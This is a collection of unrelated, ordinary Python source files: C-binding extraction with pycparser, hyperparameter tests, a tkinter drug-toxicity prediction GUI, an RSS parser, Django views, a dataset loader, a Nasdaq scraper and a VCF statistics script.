                        if (obj.name == "chest" or obj.name == "door")and obj.colliding:
                            obj.open = True

            if event.type == pygame.MOUSEBUTTONDOWN:
                if event.button == 1 and player.has_sword and player.do_attack == False:
                    player.attack()

if "__main__" == __name__:
    run_main()


"""Extracts nodes of interest from a pycparser parse of bindings.h run through a platform-specific preprocessor and compares it with the metadata in metadata.y.

get_all_info is a function that returns a dict with the following keys:

functions: A set of function instances. Keys are the names.
typedefs: A set of type instances describing the final form of typedefs.
constants: An extracted list of all constants.  This is a flat representation computed by reading all enumerations.
constants_by_enum:Same as constants, but grouped by the enumeration and placed in dictionaries; keys are enumeration names.
important_enums: The enums which metadata marks as important in some way.
metadata: The parsed yaml document itself as a dict.
git_revision: The SHA of the git commit we're building with, if we can get it.
version: The version. Set to "development" for non-releases (only set to something else in CI).
compiler_c_flags: Flags used with .c files
compiler_cxx_flags: Flags used with C++ files.
linker_flags: Flags for the linker.
build_type: The build type.
root_dir: Absolute path to the root of the repository.
"""

from pycparser import *
#we need to be able to compare with isinstance, unfortunately. Grab all of these too.
from pycparser.c_ast import *
import subprocess
import sys
import os.path
import collections
import yaml
from . import metadata_handler
import copy
import os
import re

all_info_cache=None

#this is a helper class representing a type.
#base is int, etc, as a string.
#indirection is the number of *s. int* is 1, etc.
#quals is a dict of indirection levels to qualifiers.
class TypeInfo(object):

    def __init__(self, base, indirection, quals = dict(), typedef_from = None):
        self.base = base
        self.indirection = indirection
        self.quals = quals

    def to_c(self):
        """Get this type as a string in valid C syntax.

        Note: this doesn't really handle function pointers appropriately yet."""
        result = ""
        indirection = self.indirection
        while indirection:
            result += "* "
            if indirection in self.quals:
                result += " ".join(self.quals[indirection])+" "
            indirection -= 1
        if isinstance(self.base, str):
            return self.base + " " + result
        else:
            return self.base.to_c() + " " + result

#helper class for functions: return_type, args, name. Return_type and args should be TypeInfos.
class FunctionInfo(object):

    def __init__(self, return_type, name, args):
        self.return_type = return_type
        self.name = name
        self.args = tuple(args) #forcing this is a really good idea.
        self.input_args = tuple([i for i in args if 'destination' not in i.name])
        self.output_args = tuple([i for i in args if 'destination' in i.name])

    def to_c(self):
        """Get this function as valid C syntax.
        If name is None or the empty string,it is excluded."""
        return_string = self.return_type.to_c()
        args_strings = [i.to_c() for i in self.args]
        return "{} {}({})".format(return_string, self.name if self.name else "", ", ".join(args_strings))

#parameter.
class ParameterInfo(object):

    def __init__(self, type, name):
        self.type = type
        self.name = name

    def to_c(self):
        """Get a string as valid C syntax."""
        return self.type.to_c() + " " + self.name

def get_root_directory():
    return os.path.split(os.path.split(os.path.abspath(__file__))[0])[0]

def get_git_revision():
    try:
        revision_query = subprocess.Popen(args = ['git', 'rev-parse', 'HEAD'], shell = True, stdout = subprocess.PIPE)
        revision = ""
        for i in revision_query.stdout:
            if len(i):
                revision = i[:-1]
                break
    except:
        #Too many possibilities when working with subprocess.
        #The most notable is that the user might not have git.
        revision = "could not be determined"
    return revision

def get_tag():
    return os.getenv("APPVEYOR_REPO_TAG_NAME")

def get_version():
    version = get_tag()
    if not version:
        return "development"
    version = re.match("(test)*release-(.+)", version)
    if not version:
        return "development"
    version = version.group(2)
    return version

def is_test_release():
    return get_tag() is not None and get_tag().startswith("testrelease-")

def is_release():
    return is_test_release() or (get_tag() is not None and get_tag().startswith("release-"))

def get_flags():
    lines = []
    with open(os.path.join(get_root_directory(), "build", "compiler_flags.txt")) as f:
        lines = [i for i in f]
    return {
        "build_type": lines[0].strip(),
        "compiler_c_flags": lines[1].strip(),
        "compiler_cxx_flags": lines[2].strip(),
        "linker_flags": lines[3].strip(),
    }

def make_ast():
    #compute the input file.
    #this gives us the root directory of the repository.
    root_directory = get_root_directory()
    input_file = os.path.join(root_directory, 'include', 'libaudioverse', 'binding.h')
    if sys.platform == 'win32':
        command = 'cl'
        args = '/nologo /EP ' + input_file
    else:
        command  = 'cpp'
        args = '-P ' + input_file
    text =subprocess.check_output(command + ' ' + args, shell = True).decode() #This gives us bytes, but we're ascii anyway.
    #convert from windows to linux newlines, if needed.
    text = text.replace('\r\n', '\n')

    #build a cffi parser.
    parser = c_parser.CParser()
    ast = parser.parse(text)
    return ast

def extract_enums(ast):
    """Returns a dict of enum constant names to their values as integers."""
    #we don't allow declaring nested types, so we know that all enums are at the top level-that is, they are to be found in ast.ext.
    enum_list = [i.type for i in ast.ext if isinstance(i, Decl) and isinstance(i.type, Enum)]
    #now, we note that we can find--for a specific enum e--:
    #name = e.name, values are in e.values as e.values[index].value and names in e.values[index]name
    #note that minimal interpretation is needed so that we can have negated constants-pycparser is for interpreters, not this, and so represents them as a unary minus in the ast.
    constants_by_enum = collections.OrderedDict()
    for enum in enum_list:
        implicit_value = 0
        constants_by_enum[enum.name] = collections.OrderedDict()
        for enum_value in enum.values.enumerators:
            val = enum_value.value
            if val is None:
                constants_by_enum[enum.name][enum_value.name]=implicit_value
            elif isinstance(val, Constant):
                implicit_value = int(enum_value.value.value)
                constants_by_enum[enum.name][enum_value.name] = implicit_value
            elif isinstance(val, UnaryOp) and val.op == '-':
                implicit_value = int('-' + val.expr.value)
                constants_by_enum[enum.name][enum_value.name] = implicit_value
            implicit_value+=1
    return constants_by_enum

def extract_typedefs(ast):
    """Returns a dict of typedefs.  Keys are names, values are TypeInfos describing the type."""
    #again, we expect them at the top levle--if they're not, we'll miss them.
    #the primary use of this is a bit later, when we build function objects-we aggregate typedefs when possible.
    typedef_list = [i for i in ast.ext if isinstance(i, Typedef)]
    typedefs = collections.OrderedDict()
    for typedef in typedef_list:
        name = typedef.name
        typedefs[name] = compute_type_info(node = typedef, typedefs =typedefs)
    return typedefs

def compute_type_info(node, typedefs):
    indirection = 0
    quals =dict()
    currently_examining = node.type
    while isinstance(currently_examining, PtrDecl):
        indirection += 1
        quals[indirection] = currently_examining.quals
        currently_examining = currently_examining.type
    newquals = dict()
    for i, j in quals.items():
        newquals[indirection-i+1] = j
    quals=newquals
    if isinstance(currently_examining, TypeDecl):
        quals[0] = currently_examining.quals
        currently_examining  = currently_examining.type
        name = " ".join(currently_examining.names)
        #first, make a TypeInfo
        info = TypeInfo(base = name, indirection = indirection, quals=quals)
        return info
    elif isinstance(currently_examining, FuncDecl):
        base = compute_function_info(func = currently_examining, typedefs =typedefs)
        return TypeInfo(base = base, indirection = indirection, quals=quals)

def compute_function_info(func, typedefs, name = ""):
    return_type = compute_type_info(node = func, typedefs = typedefs) #not func.type-the function expects one node above.
    if func.args is not None:
        types = [compute_type_info(node = i, typedefs = typedefs) for i in func.args.params]
        names = [i.name for i in func.args.params]
        args = zip(types, names)
        args = tuple([ParameterInfo(i[0], i[1]) for i in args])
    else:
        args = ()
    return FunctionInfo(return_type, name, args)

def extract_functions(ast, typedefs):
    function_list = [i for i in ast.ext if isinstance(i, Decl) and isinstance(i.type, FuncDecl)]
    functions = collections.OrderedDict()
    for function in function_list:
        name = function.name
        functions[name] = compute_function_info(func = function.type, typedefs =typedefs, name= name)
    return functions

def get_all_info():
    global all_info_cache
    if all_info_cache is not None:
        return copy.deepcopy(all_info_cache)

    ast=make_ast()
    constants_by_enum = extract_enums(ast=ast)
    constants = collections.OrderedDict()
    for i in constants_by_enum.values():
        constants.update(i)

    #remove anything that ends in _MAX from constants_by_enum at this point.
    #rationale: the _MAX constants are needed in very specific places, but not by code that auto-binds enums.
    for i in constants_by_enum.values():
        for j in dict(i).keys():
            if j.endswith('_MAX'):
                del i[j]

    typedefs = extract_typedefs(ast)
    #export this in one dict so that we have a way to add it to parent scripts.
    all_info = {
    'functions' : extract_functions(ast = ast, typedefs = typedefs),
    'typedefs': typedefs,
    'constants' : constants,
    'constants_by_enum': constants_by_enum
    }

    metadata = metadata_handler.make_metadata(all_info)
    all_info['metadata'] = metadata

    #We can extract the "important" enums by looking for all properties with a value_enum key and grabbing its value.
    important_enums = []
    for i in metadata['nodes'].values():
        for j in i.get('properties', dict()).values():
            if 'value_enum' in j:
                important_enums.append(j['value_enum'])
    for i in metadata['additional_important_enums']:
        important_enums.append(i)

    all_info['important_enums'] = important_enums
    all_info['git_revision'] = get_git_revision()
    all_info['version'] = get_version()
    all_info['root_dir'] = get_root_directory()
    all_info.update(get_flags()) #get the compiler and linker flags, etc.
    all_info_cache =all_info
    return copy.deepcopy(all_info)


import pytest

from neuraxle.hyperparams.space import RecursiveDict, HyperparameterSamples

POINT_SEPARATOR = '.'

@pytest.mark.parametrize("separator", ["__", ".", "___"])
def test_recursive_dict_to_flat(separator):
    dict_values = {
        'hp': 1,
        'stepa': {
            'hp': 2,
            'stepb': {
                'hp': 3
            }
        }
    }
    r = RecursiveDict(separator=separator, **dict_values)

    r = r.to_flat_dict()

    expected_dict_values = {
        'hp': 1,
        'stepa{}hp'.format(separator): 2,
        'stepa{0}stepb{0}hp'.format(separator): 3
    }
    assert r == expected_dict_values

def test_recursive_dict_to_flat_different_separator():
    dict_values = {
        'hp': 1,
        'stepa': {
            'hp': 2,
            'stepb': {
                'hp': 3
            }
        }
    }
    r = RecursiveDict(separator='__', **dict_values)
    r['stepa'] = RecursiveDict(r['stepa'], separator='.')
    r['stepa']['stepb'] = RecursiveDict(r['stepa']['stepb'], separator='$$$')

    nested_r = r.to_nested_dict()
    r = r.to_flat_dict()

    expected_dict_values = {
        'hp': 1,
        'stepa__hp': 2,
        'stepa__stepb.hp': 3
    }
    assert r == expected_dict_values
    assert nested_r == dict_values

def test_recursive_dict_to_nested_dict_constructor():
    dict_values = {
        'hp': 1,
        'stepa__hp': 2,
        'stepa__stepb__hp': 3
    }
    r = HyperparameterSamples(**dict_values)

    expected_dict_values = {
        'hp': 1,
        'stepa': {
            'hp': 2,
            'stepb': {
                'hp': 3
            }
        }
    }
    assert r == HyperparameterSamples(**expected_dict_values)
    assert r.to_nested_dict() == expected_dict_values

def test_recursive_dict_get_item():
    dict_values = {
        'hp': 1,
        'stepa__hp': 2,
        'stepa__stepb__hp': 3
    }
    r = HyperparameterSamples(**dict_values)

    assert r[None] == {'hp': 1}
    assert r["hp"] == 1
    assert r['stepa'].to_flat_dict() == {'hp': 2, 'stepb__hp': 3}
    assert r["stepa__hp"] == 2
    assert r["stepa"][None] == {'hp':2}
    assert r['stepa__stepb'].to_flat_dict() == {'hp': 3}
    assert r['stepa__stepb'][None] == {'hp': 3}
    assert r['stepa__stepb__hp'] == 3

def test_hyperparams_to_nested_dict_constructor():
    dict_values = {
        'hp': 1,
        'stepa__hp': 2,
        'stepa__stepb__hp': 3
    }
    r = HyperparameterSamples(dict_values)

    expected_dict_values = {
        'hp': 1,
        'stepa': {
            'hp': 2,
            'stepb': {
                'hp': 3
            }
        }
    }
    assert r.to_nested_dict() == expected_dict_values
    assert r == HyperparameterSamples(expected_dict_values)

def test_recursive_dict_copy_constructor():
    dict_values = {
        'hp': 1,
        'stepa__hp': 2,
        'stepa__stepb__hp': 3
    }
    r = RecursiveDict(RecursiveDict(**dict_values), separator='__')

    assert r == RecursiveDict(**dict_values)

def test_recursive_dict_copy_constructor_should_set_separator():
    dict_values = {
        'hp': 1,
        'stepa__hp': 2,
        'stepa__stepb__hp': 3
    }
    r = RecursiveDict(RecursiveDict(**dict_values, separator=POINT_SEPARATOR))

    assert r.separator == POINT_SEPARATOR

def test_recursive_dict_should_raise_when_item_missing():
    with pytest.raises(KeyError):
        r = RecursiveDict()
        missing = r['missing']

@pytest.mark.parametrize("dict_values",
     [{
        'hp': 1,
        'stepa__hp': 2,
        'stepa__stepb__hp': 3
    },{
        "stepa__hp1":1,
        'stepa__hp2': 2,
        'stepa__stepb__hp': 3
    }])
def test_hyperparams_copy_constructor(dict_values):
    r = HyperparameterSamples(HyperparameterSamples(**dict_values))
    assert r == HyperparameterSamples(**dict_values)

def test_hyperparams_to_flat():
    dict_values = {
        'hp': 1,
        'stepa': {
            'hp': 2,
            'stepb': {
                'hp': 3
            }
        }
    }
    r = HyperparameterSamples(**dict_values)

    r = r.to_flat_dict()

    expected_dict_values = {
        'hp': 1,
        'stepa__hp': 2,
        'stepa__stepb__hp': 3
    }
    assert r == expected_dict_values


from tkinter import *
import tkinter
import tkinter.messagebox
import easygui
import pandas as pd
import os
from predict import Predict

def run2():
    list_item = []
    if (CheckVar1.get() == 0 and CheckVar2.get == 0 and CheckVar3.get() == 0 and CheckVar4.get == 0 \
            and CheckVar5.get() == 0 and CheckVar6.get == 0 and CheckVar7.get() == 0 \
            and CheckVar8.get() == 0 and CheckVar9.get == 0):
        s = '请选择待预测的药物属性'
    else:
        s1 = 'P450 1A2' if CheckVar1.get() == 1 else ''
        s2 = 'P450 2C9' if CheckVar2.get() == 1 else ''
        s3 = 'P450 2C19' if CheckVar3.get() == 1 else ''
        s4 = 'P450 2D6' if CheckVar4.get() == 1 else ''
        s5 = 'P450 3A4' if CheckVar5.get() == 1 else ''
        s6 = 'Ames' if CheckVar6.get() == 1 else ''
        s7 = 'hERG' if CheckVar7.get() == 1 else ''
        s8 = 'LO2' if CheckVar8.get() == 1 else ''
        s9 = 'HEK293' if CheckVar9.get() == 1 else ''

        s = s1 + '|' + s2 + '|' + s3 + '|' + s4 + '|' + s5 + '|' + s6 + '|' + s7 + '|' + s8 + '|' + s9
        s = s.split('|')

        list_item = [a for a in s if a != '']
    lb3.config(text=s)
    txt_input.delete(1.0, END)
    file_dir = inpl2.get(1.0, END).strip('\n')
    if os.path.exists(file_dir.strip('\n')):
        file = pd.read_csv(file_dir)
    else:
        easygui.msgbox('请输入正确的待分析物质文件路径!')
        return
    n = file.head(5)['SMILES'].values.tolist()
    txt_input.insert(END, n)
    txt_output.delete(1.0, END)
    save_dir = inpl4.get(1.0, END).strip('\n')
    if os.path.exists(save_dir):
        tkinter.messagebox.showerror(title='错误', message='该文件已存在')
    else:
        try:
            output = Predict(file_dir, save_dir, list_item)
            txt_output.insert(END, output.head(5).values.tolist())
            inpl4.delete(1.0, END)
        except:
            tkinter.messagebox.showerror(title='错误', message=str(list_item) + file_dir + save_dir)

####################################################################################
win = Tk()
win.title('MTPredictor:药物代谢及毒性预测工具')
win.geometry('1000x800')

bg_color = "#2f6477"

frame = Frame(win, relief=RAISED, borderwidth=2, width=800, height=400, bg=bg_color)
frame.pack(side=TOP, fill=BOTH, ipadx=5, ipady=5, expand=1)

lb1 = Label(win, text='请选择待预测的药物属性', bg=bg_color)
lb1.place(x=70, y=100, anchor=W, width=150, height=30)

CheckVar1 = IntVar()
CheckVar2 = IntVar()
CheckVar3 = IntVar()
CheckVar4 = IntVar()
CheckVar5 = IntVar()
CheckVar6 = IntVar()
CheckVar7 = IntVar()
CheckVar8 = IntVar()
CheckVar9 = IntVar()

ch1 = Checkbutton(win, text='P450 1A2', variable=CheckVar1, onvalue=1, offvalue=0)
ch2 = Checkbutton(win, text='P450 2C9', variable=CheckVar2, onvalue=1, offvalue=0)
ch3 = Checkbutton(win, text='P450 2C19', variable=CheckVar3, onvalue=1, offvalue=0)
ch4 = Checkbutton(win, text='P450 2D6', variable=CheckVar4, onvalue=1, offvalue=0)
ch5 = Checkbutton(win, text='P450 3A4', variable=CheckVar5, onvalue=1, offvalue=0)
ch6 = Checkbutton(win, text='Ames', variable=CheckVar6, onvalue=1, offvalue=0)
ch7 = Checkbutton(win, text='hERG', variable=CheckVar7, onvalue=1, offvalue=0)
ch8 = Checkbutton(win, text='LO2', variable=CheckVar8, onvalue=1, offvalue=0)
ch9 = Checkbutton(win, text='HEK293', variable=CheckVar9, onvalue=1, offvalue=0)

ch1.place(x=50, y=150, anchor=W, width=50, height=10)
ch2.place(x=50, y=200, anchor=W, width=50, height=10)
ch3.place(x=50, y=250, anchor=W, width=50, height=10)
ch4.place(x=50, y=300, anchor=W, width=50, height=10)
ch5.place(x=50, y=350, anchor=W, width=50, height=10)
ch6.place(x=200, y=150, anchor=W, width=50, height=10)
ch7.place(x=200, y=200, anchor=W, width=50, height=10)
ch8.place(x=200, y=250, anchor=W, width=50, height=10)
ch9.place(x=200, y=300, anchor=W, width=50, height=10)

lb3 = Label(win, text='')

lb3.place(x=100, y=450, anchor=W, width=100, height=40)

###############################################################################
lb2 = Label(win, text='输入路径')
lb2.place(x=500, y=100, anchor=W, width=100, height=20)
inpl2 = Text(win)
inpl2.place(x=600, y=100, anchor=W, width=200, height=20)

#############控件##############################################################
button2 = Button(win, text="执行", font=('宋体', 20), fg='red', command=run2)
button2.place(x=300, y=200, anchor=W, width=100, height=40)

button_input = Button(win, text="分子", font=('宋体', 20), fg='red')
button_input.place(x=500, y=250, width=100, height=40)

button_output = Button(win, text="结局", font=('宋体', 20), fg='red')
button_output.place(x=750, y=250, width=100, height=40)

lb4 = Label(win, text='保存路径', font=('宋体', 10))
lb4.place(x=500, y=150, anchor=W, width=100, height=20)
inpl4 = Text(win)
inpl4.place(x=600, y=150, anchor=W, width=200, height=20)

txt_input = Text(win)
txt_input.place(x=500, y=300, width=200, height=300)

txt_output = Text(win)
txt_output.place(x=750, y=300, width=200, height=300)

ico_path = '.\\fig\\favicon.ico'

if os.path.exists(ico_path):
    win.iconbitmap(ico_path)

bg_path = '.\\fig\\bg.png'
if os.path.exists(bg_path):
    bg_image = PhotoImage(file=bg_path)
    Label(frame, image=bg_image).place(x=0, y=0)

win.mainloop()


import feedparser
from multiprocessing import Process, Queue
from rss_logger import server_logger

class FeedParser(object):
    '''
    RSS Feed parser
    '''
    def __init__(self):
        self.feeds_queue = Queue()

    def parse_one(self, url, q=None):
        '''
        Parse single RSS url
        :param url: URL to the RSS server
        :param q: If not None push the data into the queue
        :return: If not None returns the RSS data
        '''
        server_logger.info(f'Parsing: {url}')
        data = feedparser.parse(url)
        server_logger.debug(f'Finish to read rss data ({url})')
        if data.status is not 200:
            raise NameError(f'Error! could not get data from the server error code: {data.status}')

        if q:
            q.put(data)
            server_logger.debug(f'{data}: data is in the queue')
        else:
            return data

    def parse_many(self, urls_list):
        '''
        Multiprocessing RSS, push the RSS content into the class queue
        :param urls_list: List of URL to process
        :return: None
        '''
        processes = []
        for url in urls_list:
            p = Process(target=self.parse_one, args=(url, self.feeds_queue))
            p.start()
            processes.append(p)

        [p.join(timeout=3) for p in processes]

        while not self.feeds_queue.empty():
            yield self.feeds_queue.get()

        [p.terminate() for p in processes]

if __name__ == '__main__':
    rss_list = [{'address': 'http://feeds.bbci.co.uk/news/world/rss.xml'},
                {'address': 'http://feeds.bbci.co.uk/news/business/rss.xml'},
                {'address': 'http://feeds.reuters.com/Reuters/worldNews'},
                {'address': 'https://www.dailytelegraph.com.au/help-rss'},
                {'address': 'http://www.weatherzone.com.au/services/rss.jsp'},
                {'address': 'https://thewest.com.au/rss-feeds'},
                {'address': 'http://feeds.bbci.co.uk/news/rss.xml'},
                {'address': 'http://www.cbn.com/cbnnews/us/feed/'},
                {'address': 'http://feeds.reuters.com/Reuters/domesticNews'},
                {'address': 'http://news.yahoo.com/rss/'}]

    fp = FeedParser()
    adr_l = [url['address'] for url in rss_list]
    print(adr_l)

    [print(addr) for addr in fp.parse_many(adr_l)]


from django.shortcuts import render
from django.shortcuts import render
from django.contrib.auth.decorators import login_required
from users.forms import profileUpdateForm, userUpdateForm
from users.models import Profile
from django.contrib.auth.models import User
from django.contrib import messages
from django.shortcuts import render, get_object_or_404, redirect
from club.models import Order, Club

def get_user_membership(request):
    return User.objects.get(id=request.user.id)

def get_user_subscription(request):
    orders = Order.objects.filter(user_id=request.user.id, result=True)
    if orders.exists():
        return orders.last().tier
    return None

@login_required
def Profile(request):
    user_membership = get_user_membership(request)
    user_subscription = get_user_subscription(request)
    if request.method == 'POST':
        u_form = userUpdateForm(request.POST, instance=request.user)
        p_form = profileUpdateForm(request.POST, request.FILES, instance=request.user.profile)
        if u_form.is_valid() and p_form.is_valid():
            u_form.save()
            p_form.save()
            messages.success(request, 'Your account has been successfully updated!')
            return redirect('users:profile')
    else:
        u_form = userUpdateForm(instance=request.user)
        p_form = profileUpdateForm(instance=request.user.profile)

    context = {
        'u_form': u_form,
        'p_form': p_form,
        'user_membership': user_membership,
        'user_subscription': user_subscription
    }
    return render(request, 'profile/profile.html', context)


#from https://github.com/jordiclive/scaled-rope
from dataclasses import dataclass
from typing import NamedTuple, Optional, Union

import datasets
import numpy as np
from sklearn.model_selection import train_test_split
from torch.utils.data import ConcatDataset, Dataset, Subset
from transformers.tokenization_utils_base import (PaddingStrategy,
                                                  PreTrainedTokenizerBase,
                                                  TruncationStrategy)

class DatasetEntryLm(NamedTuple):
    """Language modelling dataset entry"""

    text: Union[str, None] = None

class LMDataset(Dataset):
    name = "LMDataset"

    def __init__(self, dataset_name, char_max_len: str = 200000) -> None:
        super().__init__()
        self.char_max_len = char_max_len
        self.dataset = datasets.load_dataset(dataset_name)["train"]

    def __len__(self) -> int:
        return len(self.dataset)

    def __getitem__(self, index) -> DatasetEntryLm:
        dialogue = DatasetEntryLm(text=self.dataset[index]["text"][: self.char_max_len])
        return dialogue

@dataclass
class DataCollator:
    tokenizer: PreTrainedTokenizerBase
    padding: Union[bool, str, PaddingStrategy] = True
    max_length: Optional[int] = None
    mix_length_threshold: Optional[int] = 256
    mix_probability: Optional[float] = 0.6
    pad_to_multiple_of: Optional[int] = None
    samples_mixing: Optional[bool] = False

    def __post_init__(self):
        assert self.tokenizer.eos_token

    def process_one(self, messages, return_length=False):
        truncation = TruncationStrategy.LONGEST_FIRST
        max_length = self.max_length

        messages = messages.text

        flatten_message = self.tokenizer(
            "".join(messages),
            max_length=max_length,
            truncation=truncation,
            padding=False,
            return_token_type_ids=False,
        )

        label_mask = np.ones(len(flatten_message.input_ids), dtype=bool)
        return flatten_message, label_mask, 0

    def __call__(self, features):
        flatten_messages = []
        label_masks = []
        total_short_context = 0
        for messages in features:
            flatten_message, label_mask, total_short_context_one = self.process_one(
                messages
            )
            flatten_messages.append(flatten_message)
            label_masks.append(label_mask)
            total_short_context += total_short_context_one

        batch = self.tokenizer.pad(
            flatten_messages,
            padding=self.padding,
            pad_to_multiple_of=self.pad_to_multiple_of,
            return_tensors="pt",
        )
        batch["labels"] = batch["input_ids"].clone()

        return batch

def train_val_dataset(dataset, val_split=0.2):
    if val_split == 0:
        return dataset, None

    train_idx, val_idx = train_test_split(
        list(range(len(dataset))), test_size=val_split, random_state=666, shuffle=True
    )
    return Subset(dataset, train_idx), Subset(dataset, val_idx)

def get_one_dataset(
    conf,
    val_split: float = 0.025,
    data_path: str = None,
    mode: str = "sft",
    max_val_set: Optional[int] = 50,
    **kwargs,
):
    data_path = data_path or conf.cache_dir
    # dataset_name = dataset_name.lower()
    train_datasets = []
    eval_datasets = []
    for data_file in conf.dataset_names:
        dataset = LMDataset(data_file)

        # if eval not already defined
        if not ("eval" in locals() and "train" in locals()):
            train, eval = train_val_dataset(dataset, val_split=val_split)

        if eval and max_val_set and len(eval) > max_val_set:
            subset_indices = np.random.choice(len(eval), max_val_set)
            eval = Subset(eval, subset_indices)
        train_datasets.append(train)
        eval_datasets.append(eval)

    train = ConcatDataset(train_datasets)
    eval = ConcatDataset(eval_datasets)
    return train, eval


import sys

from cx_Freeze import Executable, setup

# Dependencies are automatically detected, but it might need fine tuning.
build_exe_options = {"packages": ["os"], "includes": ["PyQt5"]}

# GUI applications require a different base on Windows (the default is for
# a console application).
base = None
if sys.platform == "win32":
    base = "Win32GUI"

setup(
    name="Reserva_Treinamento",
    version="0.1",
    description="Controle de Reservas para sala de treinamento",
    options={"build_exe": build_exe_options},
    executables=[Executable("login.py", base=base)]
)


import functools
from concurrent.futures import ThreadPoolExecutor

import bs4
import requests

from .parser import InsideTradesParser, StocksParser

class Client:
    """
    Входная точка для парсинга
    """

    # По хорошему бы через urllib.parse.join, но так читаемость лучше, на мой взгляд

    _INSIDE_LINK_TEMPLATE = 'https://www.nasdaq.com/symbol/{}/insider-trades?page={}'
    _STOCKS_LINK_TEMPLATE = 'https://www.nasdaq.com/symbol/{}/historical'

    # Страницы не с 0
    _PAGE_LIMIT = 11

    @staticmethod
    def get_companies_from_file() -> list:
        """
        Вычитывает файл и возвращает список кодов компаний
        :return: Список строк с кодами компани
        """
        result = []
        with open('tickers.txt') as file:
            for line in file:
                result.append(line.strip())

        return result

    @staticmethod
    def process_page(data: dict, parser: type):
        """
        Обрабатывает HTML страницу
        :param data: Словарь с доп.данными
        :param parser: Класс парсера
        """
        response = requests.get(data['url'])
        parser().parse_page(
            bs4.BeautifulSoup(response.text, 'lxml'),
            data['company_code']
        )
        print(data['url'] + '-OK')

    # Для упрощенного вызова в будущем
    process_stocks_page = functools.partialmethod(process_page, parser=StocksParser)
    process_insides_page = functools.partialmethod(process_page, parser=InsideTradesParser)

    @staticmethod
    def _process_with_threads(threads_count, iterable, function):
        """
        Обработчик команд в тредах
        :param threads_count: Количество потоков
        :param iterable: Аргументы для вызова функций
        :param function: функция для вызова
        """
        with ThreadPoolExecutor(threads_count) as executor:
            for _ in executor.map(function, iterable):
                pass

    def load_stocks(self, threads=5):
        """
        Грузит данные по ценам акций
        :param threads: Количество потоков
        """
        companies = self.get_companies_from_file()
        urls = [
            {
                'url': self._STOCKS_LINK_TEMPLATE.format(x.lower()),
                'company_code': x
            }
            for x in companies
        ]
        self._process_with_threads(threads, urls, self.process_stocks_page)

    def load_inside_trades(self, threads=5):
        """
        Грузит сделки совладельцев
        :param threads: Количество потоков
        :return:
        """

        companies = self.get_companies_from_file()
        urls = []
        for company in companies:
            urls.extend(
                {
                    'url': self._INSIDE_LINK_TEMPLATE.format(
                        company.lower(),
                        x
                    ),
                    'company_code': company
                } for x in range(1, self._PAGE_LIMIT)
            )
        self._process_with_threads(threads, urls, self.process_insides_page)


from django.shortcuts import render, redirect
from .models import Book, Auther

def fun(request):
    all_book = Book.objects.all()
    context = {
        'all_book': all_book,
    }
    return render(request, "index.html", context)

def fun2(request):
    all_aurther = Auther.objects.all()
    context = {
        'all_aurther': all_aurther,
    }
    return render(request, "authers.html", context)

def ADDBOOK(request):
    title = request.POST["title"]
    desc = request.POST["desc"]
    Book.objects.create(title=title, desc=desc)
    return redirect("/")

def ADDAUTHERS(request):
    fname = request.POST["fname"]
    lname = request.POST["lname"]
    note = request.POST["note"]
    Auther.objects.create(fname=fname, lname=lname, notes=note)
    return redirect("/authers")

def viewbook(request):
    all_aurther = Auther.objects.all()
    t = request.POST['title1']
    d = request.POST['desc1']
    i = request.POST['ID']
    context = {
        'title': t,
        'desc': d,
        'ID': i,
        'all_aurther': all_aurther,
    }

    return render(request, "viewbook.html", context)

def viewaurther(request):
    all_book = Book.objects.all()
    request.session['name']= request.POST['allname']
    name=request.session['name']
    request.session['Id'] = request.POST['ID']
    ID=request.session['Id']
    request.session['note'] = request.POST['note']
    note=request.session['note']
    context = {
        'name': name,
        'ID': ID,
        'note': note,
        'all_book': all_book,
    }
    return render(request, "viewaurther.html", context)

def assignBook(request):
    a=request.POST["select_book"]
    b=request.POST["ID"]
    this_book = Book.objects.get(id=a)
    this_aurther = Auther.objects.get(id=b)
    this_aurther.books.add(this_book)
    return redirect("/viewaruther")
    pass

def assignaurther(request):
    aurther=request.POST["select_auther"]
    id=request.POST["ID"]
    this_aurther=Auther.objects.get(id=aurther)
    this_book=Book.objects.get(id=id)
    this_book.authers.add(this_aurther)
    return redirect ('/viewbook')


import vcf
from bedcheck import *
import sys

def sites(infile, outfile, bedfile=''):

    numconf = 0
    allsites = 0
    nocall = 0
    out = open(outfile, 'w')
    v = vcf.VCFParser(infile)
    samples = v.samples
    samplestats = {}
    for s in samples:
        samplestats[s] = {'all':0, 'nc':0, 'lqref':0, 'lqsnp':0, 'confref':0, 'confsnp':0}
    if bedfile:
        bedregion = BedFileChecker(bedfile)
    for rec in v:
        v.parseinfo(rec)
        if rec.info.END:
            end = rec.info.END
        else:
            end = rec.pos
        v.parsegenotypes(rec)
        for p in range(rec.pos, end + 1):
            if bedfile and not bedregion.inbed(rec.chrom, p - 1):
                # subtract 1 when going from vcf to check in bed
                continue
            #print rec.chrom, rec.pos, rec.info.END, (rec.info.END - rec.pos + 1)
            for el in samples:
                s = getattr(rec, el)
                samplestats[el]['all'] += 1
                if s.GT == './.':
                    samplestats[el]['nc'] += 1
                    continue
                if s.GT == '0/0':
                    if s.DP == 0 or (s.GQ == 0 and s.DP <= 5):
                        samplestats[el]['nc'] += 1
                        continue
                    if s.GQ >= 30:
                        samplestats[el]['confref'] += 1
                    else:
                        samplestats[el]['lqref'] += 1
                else:
                    # variants
                    if s.DP == 0 or (s.GQ == 0 and s.DP <= 5):
                        samplestats[el]['nc'] += 1
                        continue
                    if s.GQ >= 30:
                        samplestats[el]['confsnp'] += 1
                    else:
                        samplestats[el]['lqsnp'] += 1

    hdr = '#sample all_sites conf_ref lq_ref conf_snp lq_snp no_call hq_fr lq_fr'.split()
    tmp = '\t'.join(hdr)
    out.write(tmp + '\n')
    for el in samples:
        ss = samplestats[el]
        tmp = [el, ss['all'], ss['confref'], ss['lqref'], ss['confsnp'], \
                        ss['lqsnp'], ss['nc'], (ss['confref'] + ss['confsnp'] * 1.0)/ss['all'],
                        (ss['lqref'] + ss['lqsnp'] + ss['nc']) * 1.0/ss['all']]
        tmp = [str(el) for el in tmp]
        tmp = '\t'.join(tmp)
        out.write(tmp + '\n')

if __name__=='__main__':

    infile = sys.argv[1]
    outfile = sys.argv[2]
    bedfile = sys.argv[3]
    sites(infile, outfile, bedfile)


"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
KINGDOMS/VIEWS.py
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""

import json
import random

from django.shortcuts import render
from django.http import JsonResponse
from django.utils.safestring import mark_safe
from django.contrib.auth.decorators import user_passes_test

import common.utility as CU
import kingdoms.kingdoms as KK

"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
REFERENCE
